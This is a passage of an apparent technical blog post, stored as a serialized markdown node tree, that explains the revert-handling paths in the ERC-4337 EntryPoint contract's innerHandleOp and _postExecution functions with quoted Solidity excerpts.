",{"type":24,"tag":930,"props":3434,"children":3435},{"style":1158},[3436],{"type":30,"value":1215},{"type":24,"tag":930,"props":3438,"children":3439},{"style":937},[3440],{"type":30,"value":3441}," gasleft",{"type":24,"tag":930,"props":3443,"children":3444},{"style":959},[3445],{"type":30,"value":3446},"() ",{"type":24,"tag":930,"props":3448,"children":3449},{"style":1158},[3450],{"type":30,"value":1400},{"type":24,"tag":930,"props":3452,"children":3453},{"style":959},[3454],{"type":30,"value":3455}," opInfo.preOpGas;\n",{"type":24,"tag":930,"props":3457,"children":3458},{"class":932,"line":1834},[3459,3463,3467,3471],{"type":24,"tag":930,"props":3460,"children":3461},{"style":943},[3462],{"type":30,"value":1512},{"type":24,"tag":930,"props":3464,"children":3465},{"style":959},[3466],{"type":30,"value":2199},{"type":24,"tag":930,"props":3468,"children":3469},{"style":1158},[3470],{"type":30,"value":1161},{"type":24,"tag":930,"props":3472,"children":3473},{"style":959},[3474],{"type":30,"value":3475}," opInfo.prefund;\n",{"type":24,"tag":930,"props":3477,"children":3478},{"class":932,"line":1843},[3479,3484],{"type":24,"tag":930,"props":3480,"children":3481},{"style":1002},[3482],{"type":30,"value":3483},"                _emitPrefundTooLow",{"type":24,"tag":930,"props":3485,"children":3486},{"style":959},[3487],{"type":30,"value":3488},"(opInfo);\n",{"type":24,"tag":930,"props":3490,"children":3491},{"class":932,"line":1851},[3492,3497,3502,3506],{"type":24,"tag":930,"props":3493,"children":3494},{"style":1002},[3495],{"type":30,"value":3496},"                _emitUserOperationEvent",{"type":24,"tag":930,"props":3498,"children":3499},{"style":959},[3500],{"type":30,"value":3501},"(opInfo, ",{"type":24,"tag":930,"props":3503,"children":3504},{"style":937},[3505],{"type":30,"value":1790},{"type":24,"tag":930,"props":3507,"children":3508},{"style":959},[3509],{"type":30,"value":3510},", actualGasCost, actualGas);\n",{"type":24,"tag":930,"props":3512,"children":3513},{"class":932,"line":1919},[3514,3518,3522],{"type":24,"tag":930,"props":3515,"children":3516},{"style":959},[3517],{"type":30,"value":3234},{"type":24,"tag":930,"props":3519,"children":3520},{"style":1158},[3521],{"type":30,"value":1161},{"type":24,"tag":930,"props":3523,"children":3524},{"style":959},[3525],{"type":30,"value":3526}," actualGasCost;\n",{"type":24,"tag":930,"props":3528,"children":3529},{"class":932,"line":1927},[3530,3534,3538],{"type":24,"tag":930,"props":3531,"children":3532},{"style":959},[3533],{"type":30,"value":2312},{"type":24,"tag":930,"props":3535,"children":3536},{"style":1079},[3537],{"type":30,"value":2317},{"type":24,"tag":930,"props":3539,"children":3540},{"style":959},[3541],{"type":30,"value":981},{"type":24,"tag":930,"props":3543,"children":3544},{"class":932,"line":1935},[3545],{"type":24,"tag":930,"props":3546,"children":3547},{"style":959},[3548],{"type":30,"value":2923},{"type":24,"tag":930,"props":3550,"children":3551},{"class":932,"line":1943},[3552,3556,3560,3565],{"type":24,"tag":930,"props":3553,"children":3554},{"style":959},[3555],{"type":30,"value":3234},{"type":24,"tag":930,"props":3557,"children":3558},{"style":1158},[3559],{"type":30,"value":1161},{"type":24,"tag":930,"props":3561,"children":3562},{"style":1002},[3563],{"type":30,"value":3564}," _postExecution",{"type":24,"tag":930,"props":3566,"children":3567},{"style":959},[3568],{"type":30,"value":2814},{"type":24,"tag":930,"props":3570,"children":3571},{"class":932,"line":1955},[3572],{"type":24,"tag":930,"props":3573,"children":3574},{"style":959},[3575],{"type":30,"value":3576},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":930,"props":3578,"children":3579},{"class":932,"line":1975},[3580],{"type":24,"tag":930,"props":3581,"children":3582},{"style":959},[3583],{"type":30,"value":3584},"                    opInfo,\n",{"type":24,"tag":930,"props":3586,"children":3587},{"class":932,"line":1995},[3588],{"type":24,"tag":930,"props":3589,"children":3590},{"style":959},[3591],{"type":30,"value":3592},"                    context,\n",{"type":24,"tag":930,"props":3594,"children":3595},{"class":932,"line":2061},[3596],{"type":24,"tag":930,"props":3597,"children":3598},{"style":959},[3599],{"type":30,"value":3600},"                    actualGas\n",{"type":24,"tag":930,"props":3602,"children":3603},{"class":932,"line":2085},[3604],{"type":24,"tag":930,"props":3605,"children":3606},{"style":959},[3607],{"type":30,"value":3608},"                );\n",{"type":24,"tag":930,"props":3610,"children":3611},{"class":932,"line":2119},[3612],{"type":24,"tag":930,"props":3613,"children":3614},{"style":959},[3615],{"type":30,"value":1643},{"type":24,"tag":930,"props":3617,"children":3618},{"class":932,"line":2135},[3619],{"type":24,"tag":930,"props":3620,"children":3621},{"style":959},[3622],{"type":30,"value":1831},{"type":24,"tag":930,"props":3624,"children":3625},{"class":932,"line":2171},[3626],{"type":24,"tag":930,"props":3627,"children":3628},{"style":959},[3629],{"type":30,"value":1840},{"type":24,"tag":33,"props":3631,"children":3632},{},[3633,3635,3640,3642,3648,3650,3656,3658,3664],{"type":30,"value":3634},"During execution, the ",{"type":24,"tag":156,"props":3636,"children":3638},{"className":3637},[],[3639],{"type":30,"value":243},{"type":30,"value":3641}," contract makes a ",{"type":24,"tag":37,"props":3643,"children":3646},{"href":3644,"rel":3645},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[41],[3647],{"type":30,"value":570},{"type":30,"value":3649}," to its own ",{"type":24,"tag":156,"props":3651,"children":3653},{"className":3652},[],[3654],{"type":30,"value":3655},"innerHandleOp",{"type":30,"value":3657}," function through a low-level ",{"type":24,"tag":156,"props":3659,"children":3661},{"className":3660},[],[3662],{"type":30,"value":3663},"call()",{"type":30,"value":3665},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":33,"props":3667,"children":3668},{},[3669,3671,3677,3679,3684,3686,3693,3695,3701],{"type":30,"value":3670},"If this call fails (when ",{"type":24,"tag":156,"props":3672,"children":3674},{"className":3673},[],[3675],{"type":30,"value":3676},"success",{"type":30,"value":3678}," is ",{"type":24,"tag":156,"props":3680,"children":3682},{"className":3681},[],[3683],{"type":30,"value":1790},{"type":30,"value":3685},"), the code enters an ",{"type":24,"tag":37,"props":3687,"children":3690},{"href":3688,"rel":3689},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[41],[3691],{"type":30,"value":3692},"error handling",{"type":30,"value":3694}," flow that checks the ",{"type":24,"tag":156,"props":3696,"children":3698},{"className":3697},[],[3699],{"type":30,"value":3700},"innerRevertCode",{"type":30,"value":3702},". There are three possible paths:",{"type":24,"tag":478,"props":3704,"children":3705},{},[3706,3731,3749],{"type":24,"tag":100,"props":3707,"children":3708},{},[3709,3711,3716,3717,3723,3725,3730],{"type":30,"value":3710},"If ",{"type":24,"tag":156,"props":3712,"children":3714},{"className":3713},[],[3715],{"type":30,"value":3700},{"type":30,"value":3678},{"type":24,"tag":156,"props":3718,"children":3720},{"className":3719},[],[3721],{"type":30,"value":3722},"INNER_OUT_OF_GAS",{"type":30,"value":3724},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":156,"props":3726,"children":3728},{"className":3727},[],[3729],{"type":30,"value":3371},{"type":30,"value":436},{"type":24,"tag":100,"props":3732,"children":3733},{},[3734,3735,3740,3741,3747],{"type":30,"value":3710},{"type":24,"tag":156,"props":3736,"children":3738},{"className":3737},[],[3739],{"type":30,"value":3700},{"type":30,"value":3678},{"type":24,"tag":156,"props":3742,"children":3744},{"className":3743},[],[3745],{"type":30,"value":3746},"INNER_REVERT_LOW_PREFUND",{"type":30,"value":3748},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":100,"props":3750,"children":3751},{},[3752,3754,3760,3762,3768],{"type":30,"value":3753},"For any other revert reason, the code will still call ",{"type":24,"tag":156,"props":3755,"children":3757},{"className":3756},[],[3758],{"type":30,"value":3759},"_postExecution()",{"type":30,"value":3761}," but with ",{"type":24,"tag":156,"props":3763,"children":3765},{"className":3764},[],[3766],{"type":30,"value":3767},"PostOpMode.postOpReverted",{"type":30,"value":3769},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":33,"props":3771,"children":3772},{},[3773,3775,3780,3782,3787,3789,3794,3796,3801],{"type":30,"value":3774},"We're particularly interested in the third error path, where ",{"type":24,"tag":156,"props":3776,"children":3778},{"className":3777},[],[3779],{"type":30,"value":3700},{"type":30,"value":3781}," is neither ",{"type":24,"tag":156,"props":3783,"children":3785},{"className":3784},[],[3786],{"type":30,"value":3722},{"type":30,"value":3788}," nor ",{"type":24,"tag":156,"props":3790,"children":3792},{"className":3791},[],[3793],{"type":30,"value":3746},{"type":30,"value":3795},". To understand this case better, let's examine how ",{"type":24,"tag":156,"props":3797,"children":3799},{"className":3798},[],[3800],{"type":30,"value":3655},{"type":30,"value":3802}," works.",{"type":24,"tag":920,"props":3804,"children":3806},{"className":922,"code":3805,"language":924,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[3807],{"type":24,"tag":156,"props":3808,"children":3809},{"__ignoreMap":7},[3810,3826,3847,3867,3883,3917,3924,3941,3965,4005,4024,4049,4083,4107,4124,4132,4140,4148,4156,4164,4171,4184,4201,4208,4215,4222,4233,4272,4289,4296],{"type":24,"tag":930,"props":3811,"children":3812},{"class":932,"line":933},[3813,3817,3822],{"type":24,"tag":930,"props":3814,"children":3815},{"style":937},[3816],{"type":30,"value":999},{"type":24,"tag":930,"props":3818,"children":3819},{"style":1002},[3820],{"type":30,"value":3821}," innerHandleOp",{"type":24,"tag":930,"props":3823,"children":3824},{"style":959},[3825],{"type":30,"value":2814},{"type":24,"tag":930,"props":3827,"children":3828},{"class":932,"line":984},[3829,3834,3838,3843],{"type":24,"tag":930,"props":3830,"children":3831},{"style":943},[3832],{"type":30,"value":3833},"        bytes",{"type":24,"tag":930,"props":3835,"children":3836},{"style":937},[3837],{"type":30,"value":1097},{"type":24,"tag":930,"props":3839,"children":3840},{"style":1023},[3841],{"type":30,"value":3842}," callData",{"type":24,"tag":930,"props":3844,"children":3845},{"style":959},[3846],{"type":30,"value":2832},{"type":24,"tag":930,"props":3848,"children":3849},{"class":932,"line":993},[3850,3854,3858,3863],{"type":24,"tag":930,"props":3851,"children":3852},{"style":937},[3853],{"type":30,"value":2860},{"type":24,"tag":930,"props":3855,"children":3856},{"style":937},[3857],{"type":30,"value":1097},{"type":24,"tag":930,"props":3859,"children":3860},{"style":1023},[3861],{"type":30,"value":3862}," opInfo",{"type":24,"tag":930,"props":3864,"children":3865},{"style":959},[3866],{"type":30,"value":2832},{"type":24,"tag":930,"props":3868,"children":3869},{"class":932,"line":1057},[3870,3874,3878],{"type":24,"tag":930,"props":3871,"children":3872},{"style":943},[3873],{"type":30,"value":3833},{"type":24,"tag":930,"props":3875,"children":3876},{"style":937},[3877],{"type":30,"value":1020},{"type":24,"tag":930,"props":3879,"children":3880},{"style":1023},[3881],{"type":30,"value":3882}," context\n",{"type":24,"tag":930,"props":3884,"children":3885},{"class":932,"line":1066},[3886,3891,3896,3901,3905,3909,3913],{"type":24,"tag":930,"props":3887,"children":3888},{"style":959},[3889],{"type":30,"value":3890},"    ) ",{"type":24,"tag":930,"props":3892,"children":3893},{"style":937},[3894],{"type":30,"value":3895},"external",{"type":24,"tag":930,"props":3897,"children":3898},{"style":1079},[3899],{"type":30,"value":3900}," returns",{"type":24,"tag":930,"props":3902,"children":3903},{"style":959},[3904],{"type":30,"value":1087},{"type":24,"tag":930,"props":3906,"children":3907},{"style":943},[3908],{"type":30,"value":1044},{"type":24,"tag":930,"props":3910,"children":3911},{"style":1023},[3912],{"type":30,"value":1899},{"type":24,"tag":930,"props":3914,"children":3915},{"style":959},[3916],{"type":30,"value":1503},{"type":24,"tag":930,"props":3918,"children":3919},{"class":932,"line":1075},[3920],{"type":24,"tag":930,"props":3921,"children":3922},{"style":959},[3923],{"type":30,"value":2923},{"type":24,"tag":930,"props":3925,"children":3926},{"class":932,"line":1122},[3927,3932,3936],{"type":24,"tag":930,"props":3928,"children":3929},{"style":959},[3930],{"type":30,"value":3931},"        IPaymaster.PostOpMode mode ",{"type":24,"tag":930,"props":3933,"children":3934},{"style":1158},[3935],{"type":30,"value":1161},{"type":24,"tag":930,"props":3937,"children":3938},{"style":959},[3939],{"type":30,"value":3940}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":930,"props":3942,"children":3943},{"class":932,"line":1131},[3944,3948,3953,3957,3961],{"type":24,"tag":930,"props":3945,"children":3946},{"style":1079},[3947],{"type":30,"value":3290},{"type":24,"tag":930,"props":3949,"children":3950},{"style":959},[3951],{"type":30,"value":3952}," (callData.length ",{"type":24,"tag":930,"props":3954,"children":3955},{"style":1158},[3956],{"type":30,"value":2261},{"type":24,"tag":930,"props":3958,"children":3959},{"style":1242},[3960],{"type":30,"value":1245},{"type":24,"tag":930,"props":3962,"children":3963},{"style":959},[3964],{"type":30,"value":1503},{"type":24,"tag":930,"props":3966,"children":3967},{"class":932,"line":1144},[3968,3973,3978,3982,3987,3991,3996,4000],{"type":24,"tag":930,"props":3969,"children":3970},{"style":943},[3971],{"type":30,"value":3972},"            bool",{"type":24,"tag":930,"props":3974,"children":3975},{"style":959},[3976],{"type":30,"value":3977}," success ",{"type":24,"tag":930,"props":3979,"children":3980},{"style":1158},[3981],{"type":30,"value":1161},{"type":24,"tag":930,"props":3983,"children":3984},{"style":959},[3985],{"type":30,"value":3986}," Exec.",{"type":24,"tag":930,"props":3988,"children":3989},{"style":1002},[3990],{"type":30,"value":570},{"type":24,"tag":930,"props":3992,"children":3993},{"style":959},[3994],{"type":30,"value":3995},"(mUserOp.sender, ",{"type":24,"tag":930,"props":3997,"children":3998},{"style":1242},[3999],{"type":30,"value":1818},{"type":24,"tag":930,"props":4001,"children":4002},{"style":959},[4003],{"type":30,"value":4004},", callData, callGasLimit);\n",{"type":24,"tag":930,"props":4006,"children":4007},{"class":932,"line":1169},[4008,4012,4016,4020],{"type":24,"tag":930,"props":4009,"children":4010},{"style":1079},[4011],{"type":30,"value":1485},{"type":24,"tag":930,"props":4013,"children":4014},{"style":959},[4015],{"type":30,"value":1087},{"type":24,"tag":930,"props":4017,"children":4018},{"style":1158},[4019],{"type":30,"value":3299},{"type":24,"tag":930,"props":4021,"children":4022},{"style":959},[4023],{"type":30,"value":3304},{"type":24,"tag":930,"props":4025,"children":4026},{"class":932,"line":1191},[4027,4031,4036,4040,4045],{"type":24,"tag":930,"props":4028,"children":4029},{"style":943},[4030],{"type":30,"value":1512},{"type":24,"tag":930,"props":4032,"children":4033},{"style":959},[4034],{"type":30,"value":4035}," freePtr ",{"type":24,"tag":930,"props":4037,"children":4038},{"style":1158},[4039],{"type":30,"value":1161},{"type":24,"tag":930,"props":4041,"children":4042},{"style":1002},[4043],{"type":30,"value":4044}," _getFreePtr",{"type":24,"tag":930,"props":4046,"children":4047},{"style":959},[4048],{"type":30,"value":1310},{"type":24,"tag":930,"props":4050,"children":4051},{"class":932,"line":1223},[4052,4056,4060,4065,4069,4073,4078],{"type":24,"tag":930,"props":4053,"children":4054},{"style":943},[4055],{"type":30,"value":2980},{"type":24,"tag":930,"props":4057,"children":4058},{"style":937},[4059],{"type":30,"value":1097},{"type":24,"tag":930,"props":4061,"children":4062},{"style":959},[4063],{"type":30,"value":4064}," result ",{"type":24,"tag":930,"props":4066,"children":4067},{"style":1158},[4068],{"type":30,"value":1161},{"type":24,"tag":930,"props":4070,"children":4071},{"style":959},[4072],{"type":30,"value":3986},{"type":24,"tag":930,"props":4074,"children":4075},{"style":1002},[4076],{"type":30,"value":4077},"getReturnData",{"type":24,"tag":930,"props":4079,"children":4080},{"style":959},[4081],{"type":30,"value":4082},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":930,"props":4084,"children":4085},{"class":932,"line":1281},[4086,4090,4095,4099,4103],{"type":24,"tag":930,"props":4087,"children":4088},{"style":1079},[4089],{"type":30,"value":1575},{"type":24,"tag":930,"props":4091,"children":4092},{"style":959},[4093],{"type":30,"value":4094}," (result.length ",{"type":24,"tag":930,"props":4096,"children":4097},{"style":1158},[4098],{"type":30,"value":2261},{"type":24,"tag":930,"props":4100,"children":4101},{"style":1242},[4102],{"type":30,"value":1245},{"type":24,"tag":930,"props":4104,"children":4105},{"style":959},[4106],{"type":30,"value":1503},{"type":24,"tag":930,"props":4108,"children":4109},{"class":932,"line":1313},[4110,4115,4120],{"type":24,"tag":930,"props":4111,"children":4112},{"style":1079},[4113],{"type":30,"value":4114},"                    emit",{"type":24,"tag":930,"props":4116,"children":4117},{"style":1002},[4118],{"type":30,"value":4119}," UserOperationRevertReason",{"type":24,"tag":930,"props":4121,"children":4122},{"style":959},[4123],{"type":30,"value":2814},{"type":24,"tag":930,"props":4125,"children":4126},{"class":932,"line":1335},[4127],{"type":24,"tag":930,"props":4128,"children":4129},{"style":959},[4130],{"type":30,"value":4131},"                        opInfo.userOpHash,\n",{"type":24,"tag":930,"props":4133,"children":4134},{"class":932,"line":1376},[4135],{"type":24,"tag":930,"props":4136,"children":4137},{"style":959},[4138],{"type":30,"value":4139},"                        mUserOp.sender,\n",{"type":24,"tag":930,"props":4141,"children":4142},{"class":932,"line":1418},[4143],{"type":24,"tag":930,"props":4144,"children":4145},{"style":959},[4146],{"type":30,"value":4147},"                        mUserOp.nonce,\n",{"type":24,"tag":930,"props":4149,"children":4150},{"class":932,"line":1438},[4151],{"type":24,"tag":930,"props":4152,"children":4153},{"style":959},[4154],{"type":30,"value":4155},"                        result\n",{"type":24,"tag":930,"props":4157,"children":4158},{"class":932,"line":1479},[4159],{"type":24,"tag":930,"props":4160,"children":4161},{"style":959},[4162],{"type":30,"value":4163},"                    );\n",{"type":24,"tag":930,"props":4165,"children":4166},{"class":932,"line":1506},[4167],{"type":24,"tag":930,"props":4168,"children":4169},{"style":959},[4170],{"type":30,"value":1634},{"type":24,"tag":930,"props":4172,"children":4173},{"class":932,"line":1525},[4174,4179],{"type":24,"tag":930,"props":4175,"children":4176},{"style":1002},[4177],{"type":30,"value":4178},"                _restoreFreePtr",{"type":24,"tag":930,"props":4180,"children":4181},{"style":959},[4182],{"type":30,"value":4183},"(freePtr);\n",{"type":24,"tag":930,"props":4185,"children":4186},{"class":932,"line":1569},[4187,4192,4196],{"type":24,"tag":930,"props":4188,"children":4189},{"style":959},[4190],{"type":30,"value":4191},"                mode ",{"type":24,"tag":930,"props":4193,"children":4194},{"style":1158},[4195],{"type":30,"value":1161},{"type":24,"tag":930,"props":4197,"children":4198},{"style":959},[4199],{"type":30,"value":4200}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":930,"props":4202,"children":4203},{"class":932,"line":1592},[4204],{"type":24,"tag":930,"props":4205,"children":4206},{"style":959},[4207],{"type":30,"value":1643},{"type":24,"tag":930,"props":4209,"children":4210},{"class":932,"line":1610},[4211],{"type":24,"tag":930,"props":4212,"children":4213},{"style":959},[4214],{"type":30,"value":1831},{"type":24,"tag":930,"props":4216,"children":4217},{"class":932,"line":1628},[4218],{"type":24,"tag":930,"props":4219,"children":4220},{"emptyLinePlaceholder":16},[4221],{"type":30,"value":2412},{"type":24,"tag":930,"props":4223,"children":4224},{"class":932,"line":1637},[4225,4229],{"type":24,"tag":930,"props":4226,"children":4227},{"style":1079},[4228],{"type":30,"value":1137},{"type":24,"tag":930,"props":4230,"children":4231},{"style":959},[4232],{"type":30,"value":981},{"type":24,"tag":930,"props":4234,"children":4235},{"class":932,"line":1646},[4236,4240,4244,4248,4252,4256,4260,4264,4268],{"type":24,"tag":930,"props":4237,"children":4238},{"style":943},[4239],{"type":30,"value":1150},{"type":24,"tag":930,"props":4241,"children":4242},{"style":959},[4243],{"type":30,"value":3423},{"type":24,"tag":930,"props":4245,"children":4246},{"style":1158},[4247],{"type":30,"value":1161},{"type":24,"tag":930,"props":4249,"children":4250},{"style":959},[4251],{"type":30,"value":3432},{"type":24,"tag":930,"props":4253,"children":4254},{"style":1158},[4255],{"type":30,"value":1215},{"type":24,"tag":930,"props":4257,"children":4258},{"style":937},[4259],{"type":30,"value":3441},{"type":24,"tag":930,"props":4261,"children":4262},{"style":959},[4263],{"type":30,"value":3446},{"type":24,"tag":930,"props":4265,"children":4266},{"style":1158},[4267],{"type":30,"value":1400},{"type":24,"tag":930,"props":4269,"children":4270},{"style":959},[4271],{"type":30,"value":3455},{"type":24,"tag":930,"props":4273,"children":4274},{"class":932,"line":1673},[4275,4280,4284],{"type":24,"tag":930,"props":4276,"children":4277},{"style":1079},[4278],{"type":30,"value":4279},"            return",{"type":24,"tag":930,"props":4281,"children":4282},{"style":1002},[4283],{"type":30,"value":3564},{"type":24,"tag":930,"props":4285,"children":4286},{"style":959},[4287],{"type":30,"value":4288},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":930,"props":4290,"children":4291},{"class":932,"line":1692},[4292],{"type":24,"tag":930,"props":4293,"children":4294},{"style":959},[4295],{"type":30,"value":1831},{"type":24,"tag":930,"props":4297,"children":4298},{"class":932,"line":1730},[4299],{"type":24,"tag":930,"props":4300,"children":4301},{"style":959},[4302],{"type":30,"value":1840},{"type":24,"tag":33,"props":4304,"children":4305},{},[4306,4308,4313,4315,4320,4322,4328,4330,4336,4338,4343,4345,4355],{"type":30,"value":4307},"We observe that, in the happy path, ",{"type":24,"tag":156,"props":4309,"children":4311},{"className":4310},[],[4312],{"type":30,"value":3655},{"type":30,"value":4314}," is expected to not only execute the actual ",{"type":24,"tag":156,"props":4316,"children":4318},{"className":4317},[],[4319],{"type":30,"value":161},{"type":30,"value":4321}," call, but also call ",{"type":24,"tag":156,"props":4323,"children":4325},{"className":4324},[],[4326],{"type":30,"value":4327},"_postExecution",{"type":30,"value":4329},". This means that the third failure handling path, which passes ",{"type":24,"tag":156,"props":4331,"children":4333},{"className":4332},[],[4334],{"type":30,"value":4335},"postOpReverted",{"type":30,"value":4337}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":156,"props":4339,"children":4341},{"className":4340},[],[4342],{"type":30,"value":4327},{"type":30,"value":4344}," call ",{"type":24,"tag":275,"props":4346,"children":4347},{},[4348,4350],{"type":30,"value":4349},"inside ",{"type":24,"tag":156,"props":4351,"children":4353},{"className":4352},[],[4354],{"type":30,"value":3655},{"type":30,"value":436},{"type":24,"tag":33,"props":4357,"children":4358},{},[4359,4361,4366],{"type":30,"value":4360},"Let's examine the ",{"type":24,"tag":156,"props":4362,"children":4364},{"className":4363},[],[4365],{"type":30,"value":4327},{"type":30,"value":4367}," code to understand where the revert might occur.",{"type":24,"tag":920,"props":4369,"children":4371},{"className":922,"code":4370,"language":924,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[4372],{"type":24,"tag":156,"props":4373,"children":4374},{"__ignoreMap":7},[4375,4390,4415,4434,4453,4465,4502,4509,4543,4560,4575,4591,4615,4640,4664,4687,4705,4722,4730,4748,4765,4798,4816,4824,4832,4840,4856,4888,4910,4917,4924,4931],{"type":24,"tag":930,"props":4376,"children":4377},{"class":932,"line":933},[4378,4382,4386],{"type":24,"tag":930,"props":4379,"children":4380},{"style":937},[4381],{"type":30,"value":999},{"type":24,"tag":930,"props":4383,"children":4384},{"style":1002},[4385],{"type":30,"value":3564},{"type":24,"tag":930,"props":4387,"children":4388},{"style":959},[4389],{"type":30,"value":2814},{"type":24,"tag":930,"props":4391,"children":4392},{"class":932,"line":984},[4393,4398,4402,4406,4411],{"type":24,"tag":930,"props":4394,"children":4395},{"style":937},[4396],{"type":30,"value":4397},"        IPaymaster",{"type":24,"tag":930,"props":4399,"children":4400},{"style":959},[4401],{"type":30,"value":436},{"type":24,"tag":930,"props":4403,"children":4404},{"style":1023},[4405],{"type":30,"value":1870},{"type":24,"tag":930,"props":4407,"children":4408},{"style":1023},[4409],{"type":30,"value":4410}," mode",{"type":24,"tag":930,"props":4412,"children":4413},{"style":959},[4414],{"type":30,"value":2832},{"type":24,"tag":930,"props":4416,"children":4417},{"class":932,"line":993},[4418,4422,4426,4430],{"type":24,"tag":930,"props":4419,"children":4420},{"style":937},[4421],{"type":30,"value":2860},{"type":24,"tag":930,"props":4423,"children":4424},{"style":937},[4425],{"type":30,"value":1097},{"type":24,"tag":930,"props":4427,"children":4428},{"style":1023},[4429],{"type":30,"value":3862},{"type":24,"tag":930,"props":4431,"children":4432},{"style":959},[4433],{"type":30,"value":2832},{"type":24,"tag":930,"props":4435,"children":4436},{"class":932,"line":1057},[4437,4441,4445,4449],{"type":24,"tag":930,"props":4438,"children":4439},{"style":943},[4440],{"type":30,"value":3833},{"type":24,"tag":930,"props":4442,"children":4443},{"style":937},[4444],{"type":30,"value":1097},{"type":24,"tag":930,"props":4446,"children":4447},{"style":1023},[4448],{"type":30,"value":1102},{"type":24,"tag":930,"props":4450,"children":4451},{"style":959},[4452],{"type":30,"value":2832},{"type":24,"tag":930,"props":4454,"children":4455},{"class":932,"line":1066},[4456,4460],{"type":24,"tag":930,"props":4457,"children":4458},{"style":943},[4459],{"type":30,"value":2822},{"type":24,"tag":930,"props":4461,"children":4462},{"style":1023},[4463],{"type":30,"value":4464}," actualGas\n",{"type":24,"tag":930,"props":4466,"children":4467},{"class":932,"line":1075},[4468,4472,4477,4482,4486,4490,4494,4498],{"type":24,"tag":930,"props":4469,"children":4470},{"style":959},[4471],{"type":30,"value":3890},{"type":24,"tag":930,"props":4473,"children":4474},{"style":937},[4475],{"type":30,"value":4476},"internal",{"type":24,"tag":930,"props":4478,"children":4479},{"style":937},[4480],{"type":30,"value":4481}," virtual",{"type":24,"tag":930,"props":4483,"children":4484},{"style":1079},[4485],{"type":30,"value":3900},{"type":24,"tag":930,"props":4487,"children":4488},{"style":959},[4489],{"type":30,"value":1087},{"type":24,"tag":930,"props":4491,"children":4492},{"style":943},[4493],{"type":30,"value":1044},{"type":24,"tag":930,"props":4495,"children":4496},{"style":1023},[4497],{"type":30,"value":1899},{"type":24,"tag":930,"props":4499,"children":4500},{"style":959},[4501],{"type":30,"value":1503},{"type":24,"tag":930,"props":4503,"children":4504},{"class":932,"line":1122},[4505],{"type":24,"tag":930,"props":4506,"children":4507},{"style":959},[4508],{"type":30,"value":2923},{"type":24,"tag":930,"props":4510,"children":4511},{"class":932,"line":1131},[4512,4516,4521,4525,4530,4534,4538],{"type":24,"tag":930,"props":4513,"children":4514},{"style":1079},[4515],{"type":30,"value":1485},{"type":24,"tag":930,"props":4517,"children":4518},{"style":959},[4519],{"type":30,"value":4520}," (paymaster ",{"type":24,"tag":930,"props":4522,"children":4523},{"style":1158},[4524],{"type":30,"value":1239},{"type":24,"tag":930,"props":4526,"children":4527},{"style":943},[4528],{"type":30,"value":4529}," address",{"type":24,"tag":930,"props":4531,"children":4532},{"style":959},[4533],{"type":30,"value":1010},{"type":24,"tag":930,"props":4535,"children":4536},{"style":1242},[4537],{"type":30,"value":1818},{"type":24,"tag":930,"props":4539,"children":4540},{"style":959},[4541],{"type":30,"value":4542},")) {\n",{"type":24,"tag":930,"props":4544,"children":4545},{"class":932,"line":1144},[4546,4551,4555],{"type":24,"tag":930,"props":4547,"children":4548},{"style":959},[4549],{"type":30,"value":4550},"                refundAddress ",{"type":24,"tag":930,"props":4552,"children":4553},{"style":1158},[4554],{"type":30,"value":1161},{"type":24,"tag":930,"props":4556,"children":4557},{"style":959},[4558],{"type":30,"value":4559}," 